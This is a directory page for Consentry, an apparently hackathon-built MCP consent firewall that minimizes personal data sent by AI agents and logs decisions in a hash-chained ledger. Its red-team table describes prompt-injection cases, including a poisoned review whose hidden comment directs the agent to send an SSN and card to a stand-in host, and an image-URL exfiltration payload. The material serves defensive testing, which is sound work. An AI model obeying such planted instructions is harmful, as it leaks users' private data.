How do I use Consentry?

1. Click on "Deploy Server". 2. Wait a few minutes for the server to deploy. Once ready, it will show a "Started" state. 3. In the chat, type @ followed by the MCP server name and your instructions, e.g., "@Consentry book a table for tonight, but minimize my phone and email first" That's it! The server will respond to your query, and you can continue using it as needed. Here is a step-by-step guide with screenshots.

Consentry

by vnmoorthy

Overview Schema Source Related Servers Discussions Admin

TypeScript

Local

Consentry is a consent firewall that sits between an AI agent and everything it talks to: tools, APIs, MCP servers, other companies, and even the LLM itself. It inspects every outbound field, minimizes what isn't needed, asks you when it matters, quarantines prompt injections coming back, and writes a tamper-evident receipt of every decision.

Live demo · Watch the demo video · Architecture · 10-minute demo script · Claude mode · Pitch storyboard

Related MCP server: AgentGuard MCP Server

💡 Why this exists

Personal agents are getting real power: they book tables, refill prescriptions, call ride services, query health databases. To do that they need your data: your address, your phone, your card, your medications.

Today that data is all-or-nothing. Once it is in the agent's context window it can go to any tool, any third party and the model provider. A single poisoned web page or tool response can tell the agent to send it somewhere else, and nobody can later prove what was shared, with whom, or why.

Consent banners don't fix this. Model alignment doesn't either, because a model that usually refuses is not a control. The boundary has to be enforced outside the model. That's Consentry.

The design principle: don't trust the model, enforce at the boundary. Even a fully compromised agent (we simulate one) can't move your SSN, your real card number or your mental-health data, because those bytes never get past the firewall.

✨ What it does

	Capability	What it means for you
🧬	Field-level PII detection	Vault fingerprints, vault tokens, regex with checksums (Luhn, SSN rules), a health lexicon, and geo-proximity to your saved places. It catches your data even when it isn't labeled.
⚖️	Per-field policy engine	Each field is judged on data type × recipient trust tier × purpose: allow, minimize, ask or deny. Highest priority wins, then the most specific rule, then the most restrictive.
✂️	Minimizers	Exact GPS → ~10 km grid · address → neighborhood or nearest intersection · email/phone → relay aliases · card → single-use, merchant-locked virtual card · birthday → age range · allergy → "peanut-free meal required" · drug → generic name only.
✋	Real consent	The agent pauses. You see the exact vs. minimized value side by side, the purpose, the recipient's retention policy, and the rule that triggered. Choose minimized · once · 30 days · deny. Grants expire and can be revoked.
🤖	The LLM is a recipient too	Claude only ever sees `{{vault:tokens}}`. Prompts and tool results are tokenized before they reach the model; tokens are resolved at the network edge only if policy allows.
☣️	Ingress quarantine	Tool responses are untrusted. A noisy-OR scanner catches prompt injection, hidden HTML comments, zero-width text, exfil image URLs and templated data slots, then strips them, taints the run and locks sensitive data.
🚫	Default-deny egress	Unverified domains never receive a request. If a policy withholds a field a tool requires, the call never leaves.
🧾	Hash-chained ledger + receipts	Every decision is appended to a SHA-256 hash chain over canonical JSON, with masked values and a digest of the exact payload sent. Every agent run produces a privacy receipt. Edit one past entry and verification fails from that entry onward.
🔐	Encrypted vault	AES-256-GCM at rest via WebCrypto, with the same code in Node (key file, `chmod 600`) and the browser (non-extractable key in IndexedDB).
👣	Your data footprint	A who-knows-what matrix (every recipient × every data type: knows exactly · approximately · protected) computed only from the ledger.
🧹	Make them forget you	One click drafts a CCPA/GDPR deletion request listing exactly what a partner received, citing ledger entries as evidence, and revokes the relay aliases and single-use cards you issued them. The agent can do it too: "Ask TableTap to delete my data".
🎬	Guided demo tour	12 chapters (6–9 minutes) with talking points, one-click actions and spotlighted UI, plus a compact mode for presenting.
🔌	Works with any agent	Ships as an MCP server and an HTTP gateway. It also runs fully local-first in the browser: the live demo has no backend at all.

🎬 See it in action

🧠 How it works

Every tool call, from Claude, the on-device Autopilot, or any MCP/HTTP client, goes through one choke point: ConsentryRuntime.callTool().

sequenceDiagram
    autonumber
    participant U as You
    participant A as Agent (Claude / Autopilot / MCP client)
    participant F as Consentry firewall
    participant V as Vault (AES-256-GCM)
    participant T as Tool / API / Partner
    participant L as Ledger (SHA-256 chain)

    U->>A: "Book a vegetarian dinner for 2 tonight"
    Note over A: Sees only {{vault:phone}}, {{vault:card}}…
    A->>F: book_table(name={{vault:full_name}}, phone={{vault:phone}}, card={{vault:card}}, notes={{vault:allergy_peanut}})
    F->>V: resolve tokens
    F->>F: detect → classify → evaluate policy per field
    F-->>U: ✋ TableTap wants "Food allergy" (exact vs. "Peanut-free meal required")
    U->>F: Share minimized
    F->>L: append egress entry (masked fields + payload digest)
    F->>T: name ✓ · phone → relay alias · card → single-use virtual card · notes → minimized
    T-->>F: response (untrusted)
    F->>F: ingress scan: injection? exfil URL? smuggled tokens?
    F->>A: sanitized, tokenized result
    A-->>U: answer + 🧾 privacy receipt

Decision pipeline (per field)

detect ─▶ classify (16 data types) ─▶ evaluate rules (priority ▸ specificity ▸ restrictiveness)
   │                                          │
   │                         allow ◀──────────┼──────────▶ deny  (withhold; block call if field is required)
   │                       minimize ◀─────────┴──────────▶ ask   (pause agent → you decide → optional grant w/ expiry)
   ▼
rewrite payload ─▶ default-deny check ─▶ ledger.append() ─▶ send ─▶ ingress quarantine ─▶ agent

Read the full design in docs/ARCHITECTURE.md.

🚀 Quickstart

Requirements: Node ≥ 22.5 and pnpm (Corepack works).

git clone https://github.com/vnmoorthy/consentry.git && cd consentry
pnpm install
pnpm start            # builds the dashboard and starts the gateway on http://localhost:8787

Open http://localhost:8787 and click a scenario chip. No API key is needed: the Autopilot agent runs on-device and calls real public APIs through the firewall.

Use Claude as the agent brain (optional):

cp .env.example .env   # set ANTHROPIC_API_KEY=… (defaults to claude-opus-5-5)
pnpm start

Or paste a key in Settings; it is stored encrypted with the vault. Claude still only ever sees tokens. See docs/CLAUDE_MODE.md for the Claude demo segment and pnpm tsx scripts/claude-check.ts, which proves no raw vault value reaches the model. If Claude is unreachable, runs fall back to Autopilot automatically.

Command	What it does
`pnpm start`	Build the web app and run the gateway + dashboard on `:8787`
`pnpm dev`	Gateway on `:8787` + Vite dev server on `:5173` with hot reload
`pnpm test`	Unit tests for detection, policy, transforms, firewall, injection scanner and ledger
`pnpm tsx scripts/smoke.ts`	End-to-end run of every scenario + red-team attack against the live public APIs
`pnpm tsx scripts/claude-check.ts`	Claude mode end to end: intercepts every Anthropic request and fails if any raw vault value is sent
`sh scripts/set-key.sh`	Save your Anthropic key to `.env` with hidden input, and verify it
`pnpm mcp`	Start the MCP bridge (stdio)
`pnpm build:pages`	Static, backend-free build (the whole firewall runs in the browser)

🔌 Use it with any agent (MCP + HTTP)

Claude Desktop (claude_desktop_config.json):

{
  "mcpServers": {
    "consentry": {
      "command": "npx",
      "args": ["tsx", "/absolute/path/to/consentry/apps/mcp/src/index.ts"],
      "env": { "CONSENTRY_URL": "http://localhost:8787" }
    }
  }
}

Claude Code: claude mcp add consentry -- npx tsx ./apps/mcp/src/index.ts

Your MCP client now gets 19 tools (weather, air quality, NWS alerts, quakes, NHTSA, openFDA, FEMA, Wikipedia, bookings, rides, refills…). Every call is firewalled, consent prompts appear in the Consentry dashboard, and everything lands in your ledger.

Any agent framework, over plain HTTP:

curl -s http://localhost:8787/api/gateway/call \
  -H 'content-type: application/json' \
  -d '{"tool":"air_quality","agent":"my-bot","args":{"location":"{{vault:home_location}}"}}'
# → data + "Home GPS minimized → 37.8,-122.4 (≈10 km)"

Method	Route	Purpose
`GET`	`/api/state`	Snapshot: masked vault, policies, recipients, tools, stats, pending consents
`GET`	`/api/events`	Server-sent events: every step, decision, consent and ledger append
`POST`	`/api/chat`	Start an agent run `{ message }` → `{ runId }`
`POST`	`/api/consent/:id`	Answer a consent prompt `{ decision: allow_once \| allow_always \| minimize \| deny }`
`GET`	`/api/gateway/tools`	Tool catalog with JSON schemas
`POST`	`/api/gateway/call`	Firewalled tool call `{ tool, args, agent }`
`POST`	`/api/policies/compile`	Plain English → structured rule
`POST`	`/api/policies/simulate`	Explain what would happen for item × recipient × purpose
`POST`	`/api/ledger/verify`	Re-hash the chain and report the first broken entry
`GET`	`/api/ledger/export`	Export the full ledger (JSON)
`POST`	`/api/redteam/:id`	Run a red-team scenario

📝 Policies in plain English

Type a sentence and Consentry compiles it into a structured, explainable rule:

You write	Consentry compiles
Never share my location with commercial apps	`location.precise → partner : deny`
Let TableTap see my phone number for reservations for 24 hours	`contact.phone → tabletap (reservation) : allow · expires in 24h`
Only share my approximate location with ride services	`location.precise → partner (transport) : minimize(coarse-location)`
Never let the AI see my medications	`health.medication → llm : deny`

Privacy-first defaults ship out of the box, including hard lines that no grant or click can override: government IDs, credentials, mental-health data, marketing use, and unverified destinations.

☠️ Red team: attack your own agent

Every scenario runs through the real runtime, firewall, tools and ledger. Run them in the UI or with pnpm tsx scripts/smoke.ts.

Attack	What happens	Result
Poisoned restaurant review	A hidden HTML comment tells the agent to send your SSN and card to `telemetry-cdn.io`. We also simulate an agent that obeys.	✅ Ingress quarantine (score 1.0) → run taint → default-deny egress blocks the exfil call → SSN/card withheld from the booking
Zero-click image exfiltration	A partner response embeds `![](https://pixel…?u=email&p={{vault:phone}})`	✅ Exfil URL stripped, smuggled token neutralized, renderer never loads remote images
Secrets pasted into the prompt	The user pastes a card number and SSN into chat	✅ The model receives `My card is {{vault:card}} and my SSN is [Government ID withheld]`
Over-collecting partner	An insurance API asks for 8 fields for a quote	✅ 2 exact (with consent), 4 minimized, 2 withheld, and the quote still comes back
Rewrite the audit log	An insider edits a past entry to say nothing was shared	✅ Hash mismatch detected at that exact entry

🌎 Public data APIs (all live)

No keys and no accounts. Every call goes through the firewall, which is why account-less public APIs only ever get a coarsened location.

Public data is real but imperfect, so Consentry says what each source can't tell you: every answer that used public data ends with a Data limits note, Claude is handed the same caveats in its tool results, and the Connections page lists them per source.

API	Used for	Recipient tier	Known limits
Open-Meteo Forecast	7-day forecast, current conditions	Open data	Model forecast on a ~11 km grid; less reliable beyond 3 days
Open-Meteo Air Quality	US AQI, PM2.5, ozone, 3-day outlook	Open data	Modeled, not a nearby sensor reading; local smoke can differ
Open-Meteo Geocoding	Place → coordinates	Open data	Best-known match; ambiguous names can land in the wrong spot
National Weather Service	Active alerts	Public sector	US only; an alert exists only once a forecast office issues it
USGS Earthquakes	Quakes near you	Public sector	Magnitudes are preliminary and often revised
NHTSA vPIC	VIN decoding	Public sector	Built from manufacturer filings; trim details can be missing
NHTSA Recalls	Vehicle safety recalls	Public sector	By make/model/year: can't tell whether this car was already repaired
openFDA Drug Enforcement	Drug recalls	Public sector	Reports lag by weeks; matches drug name, not your lot
openFDA Drug Label	Warnings & interactions	Public sector	Manufacturer text, not medical advice
openFDA Food Enforcement	Allergen recalls	Public sector	Reports lag by weeks; check the lot on the package
OpenFEMA	Disaster declarations	Public sector	Federally declared disasters only, usually days after the event
Wikipedia REST	Encyclopedia lookups	Open data	Crowd-edited and can be out of date

Commercial partners (BiteFinder, TableTap, RideNow, MediMart, QuickQuote) are simulated locally and labeled as such in the UI, so the demo can show hostile behavior safely and deterministically.

🛡️ Security model & honest limitations

What Consentry guarantees: if a value is in your vault, or matches a sensitive pattern, it cannot leave the runtime in a form your policy doesn't allow. That covers tokens, raw values, reformatted values, coordinates near your saved places, and values pasted into prompts.

What it doesn't (yet):

Semantic paraphrase. An agent that describes your condition in new words ("the user has a lung thing") isn't caught by fingerprints. The health lexicon helps, and an LLM-based classifier is on the roadmap.
Encoded exfiltration to allowed recipients. Default-deny stops unknown hosts, but a trusted recipient could receive data in a channel the detector doesn't parse.
The re-seal is local. Re-sealing a tampered ledger changes the head hash, which is detectable by anyone holding the old head. Production would anchor the head externally (transparency log / notarization).
The demo persona is fictional (555-01xx phone, example.com email, Stripe test card, the famously void SSN 078-05-1120).

See SECURITY.md to report issues.

🗂️ Project structure

consentry/
├── packages/core/          # Isomorphic engine (Node + browser): zero runtime deps besides the Anthropic SDK
│   ├── src/detect.ts       #   vault fingerprints, tokens, regex+checksums, lexicon, geo-proximity
│   ├── src/policy.ts       #   rule evaluation + plain-English compiler + grants
│   ├── src/transforms.ts   #   minimizers (coarse location, aliases, virtual cards, age ranges…)
│   ├── src/firewall.ts     #   egress inspection, consent, rewrite, ingress quarantine, LLM tokenization
│   ├── src/injection.ts    #   prompt-injection / exfil scanner (noisy-OR over 12 signals)
│   ├── src/ledger.ts       #   SHA-256 hash chain over canonical JSON
│   ├── src/planner.ts      #   Autopilot: on-device agent, no LLM
│   ├── src/llm.ts          #   Claude tool-use loop (only sees tokens)
│   ├── src/runtime.ts      #   the single choke point + events, receipts, stats
│   ├── src/redteam.ts      #   5 attack scenarios
│   ├── src/footprint.ts    #   who-knows-what matrix + CCPA/GDPR deletion letters
│   └── src/tools/          #   12 live public-data tools + 5 simulated partners + 1 on-device tool
├── apps/server/            # Hono gateway: REST + SSE + SQLite ledger + AES-GCM vault
├── apps/web/               # React 19 + Vite + Tailwind v4 + Framer Motion dashboard
├── apps/mcp/               # MCP bridge (stdio) → gateway
├── scripts/                # smoke test, screenshot capture, asset rendering
├── deck/                   # 10-slide animated pitch deck (.pptx)
└── docs/                   # architecture, demo script, storyboard, idea log

🧭 Roadmap

LLM-assisted semantic classifier for paraphrased sensitive data
Signed policy bundles + external ledger anchoring (Sigstore / transparency log)
Browser extension: the same firewall in front of ChatGPT, Claude.ai and other web agents
Data-subject requests: one click to ask a partner to delete what it got, with ledger evidence
Real delivery of deletion requests (email/API) and tracking of statutory deadlines
Policy packs for GDPR, CCPA/CPRA and HIPAA "minimum necessary"
Multi-agent: per-agent identities and budgets ("this agent may share 3 contact fields per day")

🤝 Contributing

PRs are welcome. Run pnpm test && pnpm tsx scripts/smoke.ts before opening one. See CONTRIBUTING.md.

📄 License

MIT. Built for the National Renaissance Hackathon at super{set} (tracks: Hacking with Public Data APIs · Personal Agents & Data Privacy).

This server cannot be deployed

Context Every Agent Can ShareAgents share what they learn, hand off work, and keep it when you switch models. Start with 5 GB free.fulcradynamics.comAd

Maintenance

ActivityMaintained

ResponsivenessNo issues

Resources

Related MCP Connectors

IdentArk Gateway
io.identark
Zero-secret MCP gateway for AI agents: risk-scored, audited calls with human-in-the-loop approval.
Security Agent Orchestration
29
https://api.identark.io/v1/mcp/rpc
Imperium MCP Security — Prompt-Injection, Jailbreak & Tool Poisoning Firewall A
dev.agentdiet
Real-time MCP & A2A prompt-injection, jailbreak, and tool-schema poisoning firewall for AI agents.
Security AI & Machine Learning Agent Orchestration
21
https://mcp-security.agentdiet.dev/mcp
shadowgate-mcp
io.github.josephibra
Security firewall for AI agents — scans MCP calls for injection, secrets, and risks.
Security Monitoring
2
https://shadowgate-mcp.mcp.xpay.sh/mcp
gatewayOAuth
ai.sealgate
MCP gateway with runtime security policy, tool-call-level control, and audit of agent actions.
Security Agent Orchestration
11
https://mcp.sealgate.ai/mcp

Related MCP Servers

evav-gatewayofficial
Security Agent Orchestration
evavai
A
license
Not graded
quality
D
maintenance
Governed MCP gateway that lets AI agents call tools with policy enforcement, prompt-injection screening, a kill-switch, and tamper-evident signed audit logs.
Updated 3 months ago (2026-07-31 19:09 UTC)
Apache 2.0
AgentGuard MCP Server
Security Agent Orchestration
vaasu202
F
license
Not graded
quality
C
maintenance
Provides a secure MCP boundary for AI agents, intercepting and validating tool calls, redacting secrets, and requiring human approval for sensitive actions with a tamper-evident audit trail.
Updated 2 months ago (2026-09-05 15:47 UTC)
-
Squidbrake
Security Monitoring Developer Tools
batrapulkit
A
license
B
quality
A
maintenance
Enables AI agents and MCP clients to route every tool call through configurable rules that allow, block, or hold risky actions for human approval, while recording decisions in a tamper-evident audit trail.
Updated a day ago (2026-10-26 17:03 UTC)
12
1,261 PyPI
16
Apache 2.0
MCP Warden
Security Agent Orchestration Observability
dnanatihor
A
license
Not graded
quality
B
maintenance
Enables AI agents to reach upstream MCP tool servers through a central policy gateway that authenticates each agent, enforces least-privilege and default-deny rules, and applies response obligations such as redaction, inference stripping, PII masking, and truncation. It also records every decision in a tamper-evident, hash-chained audit log that can be verified later.
Updated 25 days ago (2026-10-02 16:46 UTC)
Apache 2.0

Table of contents